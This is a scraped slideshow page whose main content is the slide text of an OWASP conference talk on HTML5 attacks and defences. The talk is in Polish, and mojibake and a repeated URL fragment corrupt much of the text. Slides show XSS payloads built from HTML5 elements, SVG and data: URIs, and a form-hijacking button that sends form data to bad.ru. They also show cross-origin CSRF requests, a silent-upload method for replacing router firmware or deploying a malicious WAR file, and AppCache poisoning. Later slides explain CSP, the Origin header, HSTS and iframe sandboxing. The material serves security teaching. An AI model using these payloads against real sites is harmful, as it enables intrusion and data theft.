Atmosphere 2014: Scalable and under control - open cloud architecture conside...Atmosphere 2014: Scalable and under control - open cloud architecture conside...
Atmosphere 2014: Scalable and under control - open cloud architecture conside...
PROIDEA
Hackowanie webaplikacji 鈥 ofensywa programisty na przyk艂adzie OWASP TOP 10
Hackowanie webaplikacji 鈥 ofensywa programisty na przyk艂adzie OWASP TOP 10Hackowanie webaplikacji 鈥 ofensywa programisty na przyk艂adzie OWASP TOP 10
Hackowanie webaplikacji 鈥 ofensywa programisty na przyk艂adzie OWASP TOP 10
Ideo Sp. z o.o.
NGSec 2016 - Ile warstw, tyle szans. - Leszek Mi艣@Defensive-Security.com
NGSec 2016 - Ile warstw, tyle szans. - Leszek Mi艣@Defensive-Security.comNGSec 2016 - Ile warstw, tyle szans. - Leszek Mi艣@Defensive-Security.com
NGSec 2016 - Ile warstw, tyle szans. - Leszek Mi艣@Defensive-Security.com
Leszek Mi?
PLNOG22 - Piotr Stolarek - Bezpiecze艅stwo u偶ytkowania platform us艂ugowych Tel...
PLNOG22 - Piotr Stolarek - Bezpiecze艅stwo u偶ytkowania platform us艂ugowych Tel...PLNOG22 - Piotr Stolarek - Bezpiecze艅stwo u偶ytkowania platform us艂ugowych Tel...
PLNOG22 - Piotr Stolarek - Bezpiecze艅stwo u偶ytkowania platform us艂ugowych Tel...
PROIDEA
Ganymede - nowoczesne technologie w grach przegl膮darkowych i mobilnych
Ganymede - nowoczesne technologie w grach przegl膮darkowych i mobilnychGanymede - nowoczesne technologie w grach przegl膮darkowych i mobilnych
Ganymede - nowoczesne technologie w grach przegl膮darkowych i mobilnych
SKN Shader
10 przykaza艅 bezpiecznego programowania
10 przykaza艅 bezpiecznego programowania10 przykaza艅 bezpiecznego programowania
10 przykaza艅 bezpiecznego programowania
SecuRing
4Developers 2015: 10 przykaza艅 bezpiecznego kodowania - Wojciech Dworakowski
4Developers 2015: 10 przykaza艅 bezpiecznego kodowania - Wojciech Dworakowski4Developers 2015: 10 przykaza艅 bezpiecznego kodowania - Wojciech Dworakowski
4Developers 2015: 10 przykaza艅 bezpiecznego kodowania - Wojciech Dworakowski
PROIDEA
PLNOG 13: Adam Heczko: Openstack, Ceph, SDN
PLNOG 13: Adam Heczko: Openstack, Ceph, SDNPLNOG 13: Adam Heczko: Openstack, Ceph, SDN
PLNOG 13: Adam Heczko: Openstack, Ceph, SDN
PROIDEA
HTTP od zera do bohatera
HTTP od zera do bohateraHTTP od zera do bohatera
HTTP od zera do bohatera
HordeTechnology
鈥淛ak ocali膰 swoje dane przed SQL injection?鈥 - Krzysztof Kotowicz na KrakSpot...
鈥淛ak ocali膰 swoje dane przed SQL injection?鈥 - Krzysztof Kotowicz na KrakSpot...鈥淛ak ocali膰 swoje dane przed SQL injection?鈥 - Krzysztof Kotowicz na KrakSpot...
鈥淛ak ocali膰 swoje dane przed SQL injection?鈥 - Krzysztof Kotowicz na KrakSpot...
krakspot
Poca艂unek 艣mierci
Poca艂unek 艣mierciPoca艂unek 艣mierci
Poca艂unek 艣mierci
Divante

More from Krzysztof Kotowicz (11)

Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)
Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)
Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)
Krzysztof Kotowicz
Trusted Types @ W3C TPAC 2018
Trusted Types @ W3C TPAC 2018Trusted Types @ W3C TPAC 2018
Trusted Types @ W3C TPAC 2018
Krzysztof Kotowicz
Trusted Types and the end of DOM XSS
Trusted Types and the end of DOM XSSTrusted Types and the end of DOM XSS
Trusted Types and the end of DOM XSS
Krzysztof Kotowicz
Biting into the forbidden fruit. Lessons from trusting Javascript crypto.
Biting into the forbidden fruit. Lessons from trusting Javascript crypto.Biting into the forbidden fruit. Lessons from trusting Javascript crypto.
Biting into the forbidden fruit. Lessons from trusting Javascript crypto.
Krzysztof Kotowicz
I&#/slideshow/attack-withhtml5owasp/16600045/x27;m in ur browser, pwning your stuff - Attacking (with) Google Chrome E/slideshow/attack-withhtml5owasp/16600045/xtensions
I&#/slideshow/attack-withhtml5owasp/16600045/x27;m in ur browser, pwning your stuff - Attacking (with) Google Chrome E/slideshow/attack-withhtml5owasp/16600045/xtensionsI&#/slideshow/attack-withhtml5owasp/16600045/x27;m in ur browser, pwning your stuff - Attacking (with) Google Chrome E/slideshow/attack-withhtml5owasp/16600045/xtensions
I&#/slideshow/attack-withhtml5owasp/16600045/x27;m in ur browser, pwning your stuff - Attacking (with) Google Chrome E/slideshow/attack-withhtml5owasp/16600045/xtensions
Krzysztof Kotowicz
Advanced Chrome e/slideshow/attack-withhtml5owasp/16600045/xtension e/slideshow/attack-withhtml5owasp/16600045/xploitation
Advanced Chrome e/slideshow/attack-withhtml5owasp/16600045/xtension e/slideshow/attack-withhtml5owasp/16600045/xploitationAdvanced Chrome e/slideshow/attack-withhtml5owasp/16600045/xtension e/slideshow/attack-withhtml5owasp/16600045/xploitation
Advanced Chrome e/slideshow/attack-withhtml5owasp/16600045/xtension e/slideshow/attack-withhtml5owasp/16600045/xploitation
Krzysztof Kotowicz
Html5: something wicked this way comes - HackPra
Html5: something wicked this way comes - HackPraHtml5: something wicked this way comes - HackPra
Html5: something wicked this way comes - HackPra
Krzysztof Kotowicz
Html5: something wicked this way comes
Html5: something wicked this way comesHtml5: something wicked this way comes
Html5: something wicked this way comes
Krzysztof Kotowicz
Creating, obfuscating and analyzing malware JavaScript
Creating, obfuscating and analyzing malware JavaScriptCreating, obfuscating and analyzing malware JavaScript
Creating, obfuscating and analyzing malware JavaScript
Krzysztof Kotowicz
Tworzenie, zaciemnianie i analiza z艂o艣liwego kodu JavaScript
Tworzenie, zaciemnianie i analiza z艂o艣liwego kodu JavaScriptTworzenie, zaciemnianie i analiza z艂o艣liwego kodu JavaScript
Tworzenie, zaciemnianie i analiza z艂o艣liwego kodu JavaScript
Krzysztof Kotowicz
SQL Injection: complete walkthrough (not only) for PHP developers
SQL Injection: complete walkthrough (not only) for PHP developersSQL Injection: complete walkthrough (not only) for PHP developers
SQL Injection: complete walkthrough (not only) for PHP developers
Krzysztof Kotowicz
Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)
Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)
Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)
Krzysztof Kotowicz
Trusted Types @ W3C TPAC 2018
Trusted Types @ W3C TPAC 2018Trusted Types @ W3C TPAC 2018
Trusted Types @ W3C TPAC 2018
Krzysztof Kotowicz
Trusted Types and the end of DOM XSS
Trusted Types and the end of DOM XSSTrusted Types and the end of DOM XSS
Trusted Types and the end of DOM XSS
Krzysztof Kotowicz
Biting into the forbidden fruit. Lessons from trusting Javascript crypto.
Biting into the forbidden fruit. Lessons from trusting Javascript crypto.Biting into the forbidden fruit. Lessons from trusting Javascript crypto.
Biting into the forbidden fruit. Lessons from trusting Javascript crypto.
Krzysztof Kotowicz
I&#/slideshow/attack-withhtml5owasp/16600045/x27;m in ur browser, pwning your stuff - Attacking (with) Google Chrome E/slideshow/attack-withhtml5owasp/16600045/xtensions
I&#/slideshow/attack-withhtml5owasp/16600045/x27;m in ur browser, pwning your stuff - Attacking (with) Google Chrome E/slideshow/attack-withhtml5owasp/16600045/xtensionsI&#/slideshow/attack-withhtml5owasp/16600045/x27;m in ur browser, pwning your stuff - Attacking (with) Google Chrome E/slideshow/attack-withhtml5owasp/16600045/xtensions
I&#/slideshow/attack-withhtml5owasp/16600045/x27;m in ur browser, pwning your stuff - Attacking (with) Google Chrome E/slideshow/attack-withhtml5owasp/16600045/xtensions
Krzysztof Kotowicz
Advanced Chrome e/slideshow/attack-withhtml5owasp/16600045/xtension e/slideshow/attack-withhtml5owasp/16600045/xploitation
Advanced Chrome e/slideshow/attack-withhtml5owasp/16600045/xtension e/slideshow/attack-withhtml5owasp/16600045/xploitationAdvanced Chrome e/slideshow/attack-withhtml5owasp/16600045/xtension e/slideshow/attack-withhtml5owasp/16600045/xploitation
Advanced Chrome e/slideshow/attack-withhtml5owasp/16600045/xtension e/slideshow/attack-withhtml5owasp/16600045/xploitation
Krzysztof Kotowicz
Html5: something wicked this way comes - HackPra
Html5: something wicked this way comes - HackPraHtml5: something wicked this way comes - HackPra
Html5: something wicked this way comes - HackPra
Krzysztof Kotowicz
Html5: something wicked this way comes
Html5: something wicked this way comesHtml5: something wicked this way comes
Html5: something wicked this way comes
Krzysztof Kotowicz
Creating, obfuscating and analyzing malware JavaScript
Creating, obfuscating and analyzing malware JavaScriptCreating, obfuscating and analyzing malware JavaScript
Creating, obfuscating and analyzing malware JavaScript
Krzysztof Kotowicz
Tworzenie, zaciemnianie i analiza z艂o艣liwego kodu JavaScript
Tworzenie, zaciemnianie i analiza z艂o艣liwego kodu JavaScriptTworzenie, zaciemnianie i analiza z艂o艣liwego kodu JavaScript
Tworzenie, zaciemnianie i analiza z艂o艣liwego kodu JavaScript
Krzysztof Kotowicz
SQL Injection: complete walkthrough (not only) for PHP developers
SQL Injection: complete walkthrough (not only) for PHP developersSQL Injection: complete walkthrough (not only) for PHP developers
SQL Injection: complete walkthrough (not only) for PHP developers
Krzysztof Kotowicz

HTML5: Atak i obrona

  • 1. HTML5: atak i obrona Krzysztof Kotowicz OWASP SecuRing kkotowicz@securing.pl Copyright 2007 漏 The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP Foundation http://www.owasp.org
  • 2. $ id 飥 IT security consultant @ SecuRing 飥 Web security researcher (BlackHat USA, BruCON, Hack in Paris, ...) 飥 blog.kotowicz.net 飥 @kkotowicz OWASP 2
  • 4. HTML5 飥 Upgrade wielu technologii u偶ywanych przez aplikacje webowe 飥 Du偶o nowej dokumentacji 飥 Du偶o nowego kodu 飥 Prace trwaj膮 od 2004 OWASP 4
  • 5. HTML5 飥 Bogaty, oparty na standardach klient 飥 Przenoszenie logiki na stron臋 klienta 飥 wi臋cej danych 飥 wi臋cej mo偶liwo艣ci 飥 Nowe API 飥 Geolocation, Drag & Drop, Filesystem, WebSockets, WebWorkers, Touch Events... OWASP 5
  • 6. HTML5 i bezpiecze艅stwo 飥 Wiele rozwi膮za艅 roboczych 飥 Tradycyjne webowe podatno艣ci HTML wci膮偶 istniej膮 飥 XSS 飥 CSRF 飥 Nowe API dost臋pne dla Javascriptu 飥 XSS zyskuje na znaczeniu OWASP 6
  • 7. HTML5 - ataki (praktyczne) OWASP 7
  • 8. XSS 飥 Filtry anty-XSS nie tylko w przegl膮darkach! 飥 Nowe elementy, nowe atrybuty <iframe srcdoc=&#/slideshow/attack-withhtml5owasp/16600045/x27;<b>html here</b>&#/slideshow/attack-withhtml5owasp/16600045/x27;> <video poster=javascript:alert(1)//></video> <form><button formaction="javascript:alert(1)">X</button> <math><maction actiontype="statusline" /slideshow/attack-withhtml5owasp/16600045/xlink:href="javascript:alert(3)">CLICKME<mte/slideshow/attack-withhtml5owasp/16600045/xt >http://google.com</mte/slideshow/attack-withhtml5owasp/16600045/xt></maction> </math> OWASP 8
  • 9. XSS 飥 SVG, base64 - XSS i zaciemnnianie <svg><image style=&#/slideshow/attack-withhtml5owasp/16600045/x27;filter:url(/slideshow/attack-withhtml5owasp/16600045/"data:image/svg_ +/slideshow/attack-withhtml5owasp/16600045/xml,<svg /slideshow/attack-withhtml5owasp/16600045/xmlns=%22http:/www.w3.org/2000/svg_ %22><script>parent.alert(1)</script></svg>")&#/slideshow/attack-withhtml5owasp/16600045/x27;></ svg> <svg /slideshow/attack-withhtml5owasp/16600045/xmlns="http://www.w3.org/2000/svg" /slideshow/attack-withhtml5owasp/16600045/xmlns:/slideshow/attack-withhtml5owasp/16600045/xlink="http://www.w3.org/1999//slideshow/attack-withhtml5owasp/16600045/xlink"> <feImage> <set attributeName="/slideshow/attack-withhtml5owasp/16600045/xlink:href" to="data:image/svg+/slideshow/attack-withhtml5owasp/16600045/xml;charset=utf-8;base64, PHN2ZyB4bW/slideshow/attack-withhtml5owasp/16600045/xucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC 9zdmciPj/slideshow/attack-withhtml5owasp/16600045/xzY3JpcHQ %2BYW/slideshow/attack-withhtml5owasp/16600045/xlcnQoMSk8L3NjcmlwdD48L3N2Zz4NCg%3D%3D"/> </feImage> </svg> OWASP 9
  • 10. Data: URI 飥 U偶yj, jak kiedy艣 javascript: // all <a href=data:te/slideshow/attack-withhtml5owasp/16600045/xt/ html;base64,PHNjcmlwdD5hbGVydCg/slideshow/attack-withhtml5owasp/16600045/xKTwvc2NyaXB0Pg==>/slideshow/attack-withhtml5owasp/16600045/xss</a> // IE <link rel=stylesheet href=data:,*%7b/slideshow/attack-withhtml5owasp/16600045/x:e/slideshow/attack-withhtml5owasp/16600045/xpression(write(//slideshow/attack-withhtml5owasp/16600045/xss/))%7d > 飥 Sprawd藕 przekierowania! http://vuln.pl/?redirect=data:te/slideshow/attack-withhtml5owasp/16600045/xt/html,.... Location: data:te/slideshow/attack-withhtml5owasp/16600045/xt/html,... OWASP 10
  • 11. Przechwytywanie formularzy 飥 Bez u偶ycia Javascript <form id=f action=https://good.com> <input name=secret> </form> // anywhere in the document <button form=f formaction=http:// bad.ru>CLICK </button> OWASP 11
  • 12. Wykorzystanie XSS 飥 HTML5 pomaga przy eksploitacji 飥 WebSockets - wydajne po艂膮czenie z C&C 飥 Dane w DB, HTML5 filesystem, Web Storage 飥 // stealth mode history.pushState(&#/slideshow/attack-withhtml5owasp/16600045/x27;/innocent-url&#/slideshow/attack-withhtml5owasp/16600045/x27;) // wstrzykni臋cie kodu localStorage[&#/slideshow/attack-withhtml5owasp/16600045/x27;code&#/slideshow/attack-withhtml5owasp/16600045/x27;]=&#/slideshow/attack-withhtml5owasp/16600045/x27;alert(/1/)&#/slideshow/attack-withhtml5owasp/16600045/x27;; 飥 // p贸藕niej eval(localStorage[&#/slideshow/attack-withhtml5owasp/16600045/x27;code&#/slideshow/attack-withhtml5owasp/16600045/x27;]) OWASP 12
  • 13. Klasyczny XHR 飥 Tylko w ramach tej samej domeny OWASP 13
  • 14. Cross Origin Resource Sharing 飥 Mi臋dzydomenowy OWASP 14
  • 15. CORS 飥 Mi臋dzydomenowe XHR, z po艣wiadczeniami (credentials): 飥 cookies 飥 certyfikat SSL/TLS kliencki 飥 po艣wiadczenia HTTP auth 飥 Docelowy serwer podejmuje decyzj臋 飥 Odsy艂a odpowiednie nag艂贸wki OWASP 15
  • 16. CORS // http://attacker.cn var /slideshow/attack-withhtml5owasp/16600045/xhr = new XMLHttpRequest(); /slideshow/attack-withhtml5owasp/16600045/xhr.open("POST", "http://victim.pl"); /slideshow/attack-withhtml5owasp/16600045/xhr.setRequestHeader("Content-Type", "te/slideshow/attack-withhtml5owasp/16600045/xt/plain"); /slideshow/attack-withhtml5owasp/16600045/xhr.withCredentials = "true"; // cookies etc. /slideshow/attack-withhtml5owasp/16600045/xhr.send("Anything"); OWASP 16
  • 17. CORS 飥 呕膮danie XHR dociera do serwera 飥 Z po艣wiadczeniami 飥 Mo偶na wykorzysta膰 do Cross Site Request Forgery 飥 Tak jak <form>, <img src> itd. 飥 Nic nowego? OWASP 17
  • 18. Cichy upload plik贸w ing "); "An yth r.s end( /slideshow/attack-withhtml5owasp/16600045/xh Content-Type: multipart/form-data; boundary=AaB03/slideshow/attack-withhtml5owasp/16600045/x --AaB03/slideshow/attack-withhtml5owasp/16600045/x Content-Disposition: form-data; name="submit-name" Larry --AaB03/slideshow/attack-withhtml5owasp/16600045/x Content-Disposition: form-data; name="files"; filename="file1.t/slideshow/attack-withhtml5owasp/16600045/xt" Content-Type: te/slideshow/attack-withhtml5owasp/16600045/xt/plain ... contents of file1.t/slideshow/attack-withhtml5owasp/16600045/xt ... --AaB03/slideshow/attack-withhtml5owasp/16600045/x-- OWASP 18
  • 19. Cichy upload plik贸w /slideshow/attack-withhtml5owasp/16600045/xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary=/slideshow/attack-withhtml5owasp/16600045/x/slideshow/attack-withhtml5owasp/16600045/x/slideshow/attack-withhtml5owasp/16600045/x"); /slideshow/attack-withhtml5owasp/16600045/xhr.send(&#/slideshow/attack-withhtml5owasp/16600045/x27; --/slideshow/attack-withhtml5owasp/16600045/x/slideshow/attack-withhtml5owasp/16600045/x/slideshow/attack-withhtml5owasp/16600045/xrn Content-Disposition: form-data; name="files"; filename="file1.t/slideshow/attack-withhtml5owasp/16600045/xt"rn Content-Type: te/slideshow/attack-withhtml5owasp/16600045/xt/plainrn rn ANYTHINGrn --/slideshow/attack-withhtml5owasp/16600045/x/slideshow/attack-withhtml5owasp/16600045/x/slideshow/attack-withhtml5owasp/16600045/x--&#/slideshow/attack-withhtml5owasp/16600045/x27;); OWASP 19
  • 20. Cichy upload plik贸w 飥 Udaje multipart/form-data request z uploadem poprzez <input type=file> 飥 U偶yj do: 飥 Zast膮pienia firmware鈥檜 w routerach 飥 Przej臋cia kontroli nad serwerami aplikacyjnymi logUrl = &#/slideshow/attack-withhtml5owasp/16600045/x27;http://glassfishserver/ management/domain/applications/ application&#/slideshow/attack-withhtml5owasp/16600045/x27;; fileUpload(c,"maliciousarchive.war"); OWASP 20
  • 21. Wstrzykni臋cie tre艣ci 飥 http://website/#/a/page /slideshow/attack-withhtml5owasp/16600045/xhr.open("GET", "/a/page"); 飥 https://touch.facebook.com/#http:// e/slideshow/attack-withhtml5owasp/16600045/xample.com//slideshow/attack-withhtml5owasp/16600045/xss.php HTTP/1.1 200 OK Access-Control-Allow-Origin: * Content-Type: te/slideshow/attack-withhtml5owasp/16600045/xt/html <img src=/slideshow/attack-withhtml5owasp/16600045/x onerror=alert(1)> OWASP 21
  • 22. Offline web applications 飥 Cache offline <html manifest=/cache.manifest> 飥 Manifest 飥 Typ MIME te/slideshow/attack-withhtml5owasp/16600045/xt/cache-manifest CACHE MANIFEST / /main/home /main/app.js /settings/home /settings/app.js http://img.e/slideshow/attack-withhtml5owasp/16600045/xample.com/logo.png 飥 Cache od艣wie偶a si臋, kiedy zmieni si臋 plik OWASP 22
  • 23. Man in the middle 飥 Podgl膮d / zmiana ruchu 飥 XSS 飥 session hijack (Firesheep) 飥 Atak nietrwa艂y OWASP 23
  • 24. AppCache poison 1. W trakcie MITM: wstrzykni臋cie trucizny <html manifest="/robots.t/slideshow/attack-withhtml5owasp/16600045/xt"> CACHE MANIFEST ....<script>evil_foo()</script> CACHE: http://victim/ NETWORK: * 2. Po zako艅czeniu MITM: 鈥 ofiara odwiedza stron臋 鈥 robots.t/slideshow/attack-withhtml5owasp/16600045/xt ma niew艂a艣ciwy typ MIME 鈥 zatruta strona pobierana z cache 鈥 z艂o艣liwy kod uruchamia si臋 鈥 ... a偶 do r臋cznego wyczyszczenia offline cache OWASP 24
  • 25. AppCache poison OWASP 25
  • 26. AppCache poison 飥 Jak si臋 broni膰? 飥 SSL/TLS 飥 Wyczyszczenie offline cache OWASP 26
  • 27. HTML5 - obrona (w trakcie budowy) OWASP 27
  • 28. HTML5 - metody obrony 飥 Content Security Policy (XSS) 飥 Nag艂贸wek Origin (CSRF) 飥 HTTP Strict Transport Security (MITM) 飥 Iframe sandbo/slideshow/attack-withhtml5owasp/16600045/x (izolacja tre艣ci) OWASP 28
  • 29. Content Security Policy 飥 Polityka zapobiegaj膮ca m.in. XSS 飥 Firefo/slideshow/attack-withhtml5owasp/16600045/x / Chrome / IE 10 / Safari 飥 Ci臋偶ka w implementacji <a onclick=....> <script>code</script> 飥 Defense-in-depth OWASP 29
  • 30. Content Security Policy Content-Security-Policy: script-src &#/slideshow/attack-withhtml5owasp/16600045/x27;self&#/slideshow/attack-withhtml5owasp/16600045/x27; https://apis.google.com; frame-src &#/slideshow/attack-withhtml5owasp/16600045/x27;none&#/slideshow/attack-withhtml5owasp/16600045/x27;; object-src &#/slideshow/attack-withhtml5owasp/16600045/x27;none&#/slideshow/attack-withhtml5owasp/16600045/x27; OWASP 30
  • 31. Nag艂贸wek Origin Referer: http://host:port/url/?a=1 飥 Cz臋sto u偶ywany do zabezpieczenia przed CSRF if (req.headers.referer && !req.headers.referer.match(&#/slideshow/attack-withhtml5owasp/16600045/x27;ok.com&#/slideshow/attack-withhtml5owasp/16600045/x27;)) { tell_attacker_to_get_lost(); } else { process(); } 飥 Kiedy艣 艂atwy do podrobienia OWASP 31
  • 32. Nag艂贸wek Origin 飥 艁atwo pozby膰 si臋 nag艂贸wka Referer! 飥 preferencje przegl膮darki 飥 https:// 鈫 http:// 飥 niemo偶liwa do ustalenia warto艣膰 location = &#/slideshow/attack-withhtml5owasp/16600045/x27;data:te/slideshow/attack-withhtml5owasp/16600045/xt/html,<html><meta http- equiv="refresh" content="0; url=data:te/slideshow/attack-withhtml5owasp/16600045/xt/html,<form id=f method=post action=&#/slideshow/attack-withhtml5owasp/16600045/x27;&#/slideshow/attack-withhtml5owasp/16600045/x27;+url+&#/slideshow/attack-withhtml5owasp/16600045/x27;&#/slideshow/attack-withhtml5owasp/16600045/x27;></ form><script>document.f.submit()</scri&#/slideshow/attack-withhtml5owasp/16600045/x27;+&#/slideshow/attack-withhtml5owasp/16600045/x27;pt>"></html>&#/slideshow/attack-withhtml5owasp/16600045/x27;; OWASP 32
  • 33. Nag艂贸wek Origin 飥 szanuje prywatno艣膰 Referer: http://host:port/naga-prawda Origin: http://host:port 飥 zachowany przy ruchu https:// 鈫 http:// 飥 nie mo偶e by膰 podrobiony 飥 nieznany 鈫 Origin: null OWASP 33
  • 34. HSTS 飥 HTTP Strict Transport Security 飥 Zabezpiecza przed atakami SSL stripping GET / HTTP/1.1 Host: gmail.com HTTP/1.1 301 Be Secure Location: https://mail.google.com/ OWASP 34
  • 35. HSTS Strict-Transport-Security: ma/slideshow/attack-withhtml5owasp/16600045/x-age=1576800; includeSubDomains 飥 Dozwolone tylko szyfrowane po艂膮czenia 飥 Ciche t艂umaczenie http:// na https:// 飥 鈥淗ard fail鈥 w przypadku b艂臋d贸w SSL/TLS OWASP 35
  • 36. Iframe sandbo/slideshow/attack-withhtml5owasp/16600045/x <script>user_id=4</script> <iframe sandbo/slideshow/attack-withhtml5owasp/16600045/x src=/slideshow/attack-withhtml5owasp/16600045/untrusted-ad.asp/slideshow/attack-withhtml5owasp/16600045/x /> 飥 Bez dost臋pu do DOM 飥 Bez skrypt贸w 飥 Bez plugin贸w (Java, Flash, ...) 飥 Bez formularzy 飥 Bez framebusting 飥 Ograniczenia mo偶na wybi贸rczo wy艂膮cza膰 OWASP 36
  • 37. Iframe sandbo/slideshow/attack-withhtml5owasp/16600045/x <iframe sandbo/slideshow/attack-withhtml5owasp/16600045/x src=/slideshow/attack-withhtml5owasp/16600045/"data:te/slideshow/attack-withhtml5owasp/16600045/xt/html, <script>alert(&#/slideshow/attack-withhtml5owasp/16600045/x27;haha!&#/slideshow/attack-withhtml5owasp/16600045/x27;)</script>"> </iframe> // attacker.com <iframe sandbo/slideshow/attack-withhtml5owasp/16600045/x="allow-scripts allow-forms" src=http://clickjacked/ > </iframe> OWASP 37
  • 38. Podsumowanie 飥 Nowe mo偶liwo艣ci, tak偶e dla atakuj膮cego 飥 XSS gro藕niejszy w skutkach 飥 Nowe narz臋dzia do obrony 飥 Warto je zastosowa膰 w kombinacji z tradycyjnymi metodami OWASP 38
  • 39. Odno艣niki 飥 html5security.org 飥 html5sec.org 飥 www.owasp.org/inde/slideshow/attack-withhtml5owasp/16600045/x.php/ HTML5_Security_Cheat_Sheet 飥 github.com/koto/ 飥 blog.kotowicz.net OWASP 39